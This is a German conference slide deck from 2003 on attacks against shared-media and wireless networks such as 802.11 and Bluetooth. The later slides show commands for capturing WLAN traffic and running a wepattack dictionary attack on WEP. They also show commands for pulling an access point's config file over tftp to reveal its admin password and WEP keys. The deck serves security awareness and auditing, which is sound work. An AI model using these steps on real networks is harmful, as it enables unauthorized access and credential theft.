

Willkommen

Advanced Attacks in Shared Media Networks

(c) 2003 by L. Grunwald

Open-Router Project
Germany

Was ist ein "Shared Medium"?

- "Geteiltes Übertragungsmedium"
- Traditionelle Netzwerktechnologien:
 - Ethernet, Token Ring, FDDI, ...
- Alle Netzwerkteilnehmer haben Zugriff auf das selbe Medium
 - Übertragungsmedium wird geteilt
 - Sendebetrieb eines TLN blockiert gleichzeitig das Senden aller anderen TLN.

Zugriffs-Kontrolle

Weil immer nur ein Teilnehmer das Medium nutzen kann, muss ein Mechanismus für den Medienzugriff existieren!

- Ethernet
 - CSMA/CD
- Token Ring
 - wandernder Token
- FDDI
 - wandernder Token
- WaveLan
 - CSMA/CD
- Bluetooth
 - Master - Slave

Switchen - Die Lösung?

- Switching:
 - Abschottung der einzelnen Stationen durch separate kleine Layer-1 Netze
 - Angriffe können weiterhin auf OSI-Layer 2/3 stattfinden!
 - ▷ ARP-Spoofing ...
 - Spezielle Hardware verteilt nur benötigte Daten auf das Medium
- Switching über Luftschnittstelle?
 - Nicht möglich, da nur ein Funkbereich zur Verfügung steht

Luftschnittstelle

ISM-Band: "Industrial, Scientific and Medical" (ISM)

- Frequenzbereich zwischen 2,400 GHz und 2,4835 GHz
- Fast weltweit kostenlos zur Verfügung
- Benutzt von vielen Shared-Media Technologien
- WLANs 802.11, HomeRF und Bluetooth

- Starke Störquellen sind vorhanden!
 - Garagentorsteuerungen, Mikrowellenherde und schnurlose Telefone

Funknetze nach IEEE 802.11

802.11 definiert:

- Physikalische Schicht (PHY)
- MAC-Schicht (WMAC)
- Es gibt drei Übertragungstechniken:
 - Das Frequenzsprungverfahren (FHSS)
 - Spreizbandtechnik (DSSS) {noch keine Produkte}
 - Infrarot-Übertragung (IR) {noch keine Produkte}
- Maximale Sendeleistung:
 - 100 mW (Europa)
 - 1.000 mW (USA)

- Minimale Kanal-Sprungrate 2,5 Sprünge/Sekunde

802.11a

802.11a:

- High Speed Physical Layer im 5-GHz-Band
- OFDM und der Direct-Sequence-Modulation (DSSS)
- Acht 20-MHz-Kanäle im Frequenzband von 5,15 GHz bis 5,35 GHz
 - zu je 52 Schmalband-Kanälen mit 300 kHz Bandbreite
 - splitting und reassembling mittels OFDM
 - Datenrate pro Kanal 125 kBit/s

802.11b

802.11b:

- Higher Speed Physical Layer im ISM Band
- CCK mittels Spreizbandtechnik
- Fünfzehn Kanäle im Frequenzband
 - Datenrate 5,5 MBit/s, 11 MBit/s - 20 MBit/s
- "Sicherheit" im Standard , -)
 - (WEP) 40 Bit bzw. 128 Bit mit RC4-Algorithmus
 - Systemidentifikation via MAC gesichert
 - Funksignale entweder im ständigen Frequenzwechsel übertragen oder gescrembelt
- Betriebsarten:
 - Punkt-zu-Punkt-Verbindung
 - Punkt-zu-Multipunkt-Verbindung
 - Access-Point (AP)
 - Ad-Hoc Zugriff

802.11g

802.11g:

- Rückwärtskompatibel zu 802.11b
- Orthogonal Frequency Division Multiplex (OFDM) wie in 802.11a
- Modulationsverfahren Complementary Code Keying (CCK)
- Optional CCK-OFDM und CCK-PBCC
 - Übertragungsraten bis 54 MBit/s

Wireless ATM

WATM:

- Übertragung im 15 bis 38 GHz Band
- QPSK und QAM Modulation
- SDH Bandbreiten E1 bis E3 Mbit/s
 - optional STM-1
 - Datenrate 2 MBit/s - 155 MBit/s
- "Sicherheit" im Preis , -)
- Protokoll und Signaling-Stack aus der ATM Welt
- Punkt-zu-Punkt Verbindungen

HiperLAN/Access/Link

HiperLAN:

- HiperLAN (High Performance Radio LAN)
- Übertragung im 5 GHz Band
- ETSI-Standard für Ethernet mit 24 MBit/s

HiperACCESS:

- Variante vom HiperLan
 - Wireless Local Loop mit 20 MBit/s

HiperLINK:

- übertragung im 17 GHz Band
- Punkt-zu-Punkt-Verbindung 155 MBit/s

HomeRF

Home Radio Frequency:

- Shared Wireless Access Protocol(SWAP)
- Ebenfalls Übertragung im ISM Band
 - 1 MBit/s 2FSK1 Modulation
 - 2 MBit/s 4FSK Modulation
- Sicherheit:
 - Blowfish Encryption Algorithm
 - 48-Bit Network ID:
 - LZRW3-A Algorithm

Bluetooth

Ziel: Funk-Kommunikation mit geringen Reichweiten

- Max. 15 Meter durch Sendeleistung von 0 dBm
- Durch Einsatz von Verstärkern kann die Entfernung auf 100 Meter erhöht werden
- Ursprünglich eingeführt, um Kabelverbindungen durch Funk zu ersetzen
- Kein Sichtkontakt wie bei IrDA nötig
- Max. acht Endgeräte
 - Zugang zu Laptops, Notebooks, Druckern, Handys ...

Bluetooth-Netz

- Netzaufbau:**
 - Bis zu 8 Endgeräte bilden ein Piconet
 - Bis zu 10 Piconets lassen sich vereinen
 - Mehrere Piconets mit überlappenden Funkbereichen bilden ein Scatternet
 - Master-Slave Aufbau
- Betriebsarten:**
 - Park-Mode bei asynchronen verbindungslosen Diensten (vergl. UDP)
 - Sniff-Mode

Bluetooth-Beispielnetz

Ein Scatternet bestehend aus drei Piconets:

- Jedes Piconet wird von einem Master gesteuert
 - Master kann sieben aktive Slaves haben
 - Zusätzlich kann er bis zu 255 passive Slaves (im Park-Modus) haben
 - Passive Slaves synchronisieren sich permanent mit dem Master
 - Master kann Slaves in den "Aktive"-(Kommunikations)-Status versetzen
- Sicherheit
 - Der Master bestimmt mittels eines Zufallsgenerators die Abfolge der Frequenzsprünge
 - Alle TLNs eines Piconets haben diese zu verwenden

Bluetooth Protokollstack

Der Bluetooth Protokollstack ist ein ähnliches Chaos wie bei ATM
"Keep-It-Simple" wird von der Industrie selten verstanden...

- Kernprotokolle
 - Cable Replacement
 - Telephony Control Protocols (TCS)
 - ▷ Aufgesetzte Transport- und Anwendungsprotokolle
- Baseband-Protokoll,
 - LMP, L2CAP und SDP
- Adaption des Mediums von dem Cable Replacement (RFCOMM)
 - Repräsentation als Serial-Device
 - ▷ SLIP, PPP, TCP, UDP, WAP und WAE
- Protokollschnittstelle für die Telefon-API
 - AT-Befehle oder TCS-Binary, abgebildet auf RFCOMM

Die Titanic ist Unsinkbar

<http://www.bluetooth.com/news/news.asp?A=2&PID=539>

"The differences in operating characteristics between Bluetooth and Wi-Fi also provide a certain level of additional security. While war-drivers are looking for Wi-Fi access points because of the LAN access they provide, Bluetooth technology does not expose a company's entire network through wireless access. Bluetooth has a much smaller perimeter to physically secure compared to 802.11, and it uses a frequency-hopping mechanism of 1,600 hops per second, making the transmissions difficult to tap into..."

Schwachpunkte:

- Keine kryptographische Sicherung
- Sniffer kann von Master Frequenzwechsel mitlesen
- Durch zu komplexen Aufbau: Implementierungsfehler fast garantiert
- Angreifer kann Master übernehmen

Angriffe auf das Übertragungsmedium

DoS:

- Einfacher DoS Angriff auf das Medium, um das Netz lahmzulegen
 - Stecknadel im Yellocable
 - ▷ Angreifer muss sich Zugang zum Kabel verschaffen
 - Breidbandstörung im ISM Band
 - ▷ Angreifer kann remote agieren ,-))

Die Angriffe

Front-Door Attacken

- Sniffen von TCP Verbindungen
- Mitlesen von Klartext-Passwörtern (telnet, pop3...)

Die Angriffe

Man-In-The-Middle Attacke

- Bei diesem Angriff schaltet sich der Angreifer zwischen zwei Systeme und ist in der Lage,
 - ▷ Daten auszuspähen
 - ▷ und zu verändern

Die Angriffe

Spoofing Attacke

- Es wird ein gefälschtes IP-Datagramm gesendet, dessen Source-Adresse außerdem gefälscht ist, so dass der Empfänger davon ausgeht, dass dieses Paket von einem vertrauenswürdigen System stammt

Die Angriffe

Um einen Angriff auf das Shared-Medium Netz durchzuführen zu können, muss sich Zugang verschafft werden.

Bei Kabel-Netzen muss auf das Kabel zugegriffen werden, einfacher ist es bei Wave-LANs

Reichweiten und Abhörweiten

	Standard	Geschw.	max.	Reichweite	max.	Reichw. bei	max.	Speed	Abhörweite
801.11a	6	-	54	MBit	150-300m	10-15m	500-600m		
802.11b	5,5	-	20	MBit	300-500m	30-50m	1-1,5	km	
802.11g	22&54	-	MBit	300-500m	30-50m	1-1,5	km		
Bluetooth	1	-	MBit	10m	10m	30-50m			

Sniffen auf Layer 1

□ Vorteile:

- Gesamtes Spektrum incl. Header und Encoding wird erfasst
- Schwachstellen und Krypto-Analyse möglich, da wiederkehrendes Signaling und Status-Informationen mitgelesen werden

□ Nachteile:

- Die Physical Protocol Data Unit (PPDU) müssen in Software decodiert werden

Sniffen auf Layer 2

□ Vorteile:

- Durch Monitor-Modi kann das gesamte Spektrum mitgelesen werden
 - ▷ z.B. Cisco AiroNET Karte mit RF-Mon Modus
- Frequenz-Hopping- und andere Kontroll-PDUs werden mitgelesen
- Guter Kompromiss, um sich Zugang zum Netz zu beschaffen
- Auswertung mit TCPDUMP möglich
- Daten wie ARP können mitgelesen werden
 - ▷ Wenn APs über MAC-Adressen Filter verfügen, kann eine MAC gespoofed werden

□ Nachteil:

- Es können Low-Level Informationen verloren gehen
- Data Encapsulation für libpcap muss angepasst werden

Beispiel Sniffen auf Layer 2

Ein Wireless LAN 802.11b mit einer Cisco AiroNET Karte 350
Daten sind mit TCPDUMP mitgelesen wurden.

Dafür muss die libpcap an das Format vom Monitor-Modus angepasst werden

```
stern
#
# 802.11 - the header is actually variable-length. We
# assume a 24-byte link-layer header, as appears in
# data frames in networks with no bridges.
#
off_linktype = 24;
off_nl = 30;
return;

case DLT_PRISM_HEADER:
/*
 * Same as 802.11, but with an additional header before
 * the 802.11 header, containing a bunch of additional
 * information including radio-level information.
 *
 * The header is 144 bytes long.
 *
 * 802.11 - same variable-length header problem; at least
 * the Prism header is fixed-length.
 *
off_linktype = 144+24;
off_nl = 144+30;
return;
670,4-18 17%
```

Nun kann das TCPDUMP auch Wireless LANs decodieren und das gesamte

WEP, RC4 und andere Protokolle

Es gibt sehr einfach die Möglichkeit, eine Brute-Force Attacke auf einen
Mittschnitt des

Netzwerktraffics auszuführen.

Der Vorteil ist, dass hierbei der Betreiber des Netzwerkes diesen Angriff nicht
erkennen kann.

Tool: wepattack

```
stern
[root@metis_german]# tcpdump -i wif10 -n -w /tmp/wireless.dump
tcpdump: WARNING: wif10: no IPv4 address assigned
tcpdump: listening on wif10

638 packets received by filter
0 packets dropped by kernel
[root@metis_german]# cat /usr/share/dict/german/words | wepattack -f /tmp/wireless.dump

WARNING: Framesize (140) and captured frame length (96) not equal!
WARNING: Framesize (166) and captured frame length (96) not equal!
Extraction of necessary data was successful!

Founded BSSID:
1) 00 02 2F 0A DA 7B / Key 2
1 network loaded...

Accepting wordlist data...

***** Packet dropped! *****
```

Angriffe auf Layer >2

Da viele APs und Netzwerkhardware immer kürzere Time-to-Market Zeiten haben, wird auf die Sicherheit das Wireless LAN APs ebensowenig geachtet, trotz WEP.

Hardware:

- Longshine LCS-883R-AC-B External WLAN Access Point 22 MBps

Software:

- ThreadX ARM7/Green Hills Version G3.0f.3.0c from Express Logic Inc.

```
tftp
tftp> connect 192.168.108.48
tftp> get config.img
Received 780 bytes in 1.0 seconds
tftp> quit
```

Angriffe auf Layer >2

Eine Auswertung der gezogenen Datei ergibt:

```
[~/]->strings config.img
DNXLABAP01 <- name of the AP
root <- name of the superuser
XXXXXX123 <- password from superuser
DNXLABLAN <- ssid
Abbauleistung <- secret for WEP
7890abcdef <- secret for WEP2 ..
```

Audit Tools

□TCPDUMP

- <http://www.tcpdump.org/>
- Dekodiert den Netzwerkverkehr
- Kommt mit fast allen Medien klar (FDDI, Ethernet, DHLC, ISDN, PPP, WLAN, ATM ...)
 - Kann bei Shared-Medien den gesamten Verkehr mitlesen
 - Dekodiert auch Verkehr im Tunnel (PPTP, PPPoE, GRE, 802.1q ...)
- Mächtige Skript-Sprache
- Frei verfügbar
 - BSD Lizenz

Audit Tools

□KISMET

- <http://www.kismetwireless.net>
- Sniffer und Audit-Tool
- Besonders beliebt bei War-Driver
- 802.11a & 801.11b Support
- Multiple Paketquellen
- Channel Hopping
- IP-Block Detection / CDP Auswertung
- Erkennt APs im Default-Mode
 - Offen mit Default PW
- Laufzeit WEP-Decoding
- Mapping und GPS Support
 - für Karten von WLANs
- Frei verfügbar
 - GPL Lizenz

Prognose

- War-Driving wird immer beliebter
 - Nur die Kosten halten von Wireless ATM und anderen Funknetzen ab
- Angriffe auf Bluetooth sehr wahrscheinlich
- TCPDUMP, libpcap, DSNIFF und andere UNIX-Tools lassen sich sehr leicht an neue Medien anpassen
- Audit und Kontrolle sind wichtig
- Wireless LANs sind immer öffentlich zugänglich, daher muss eine weitere Sicherung durchgeführt werden
- Leichte Adaption an neue Verfahren und Protokolle, wenn IP benutzt wird
- Angriffe hängen z. Zt. nur vom Hardware-Preis ab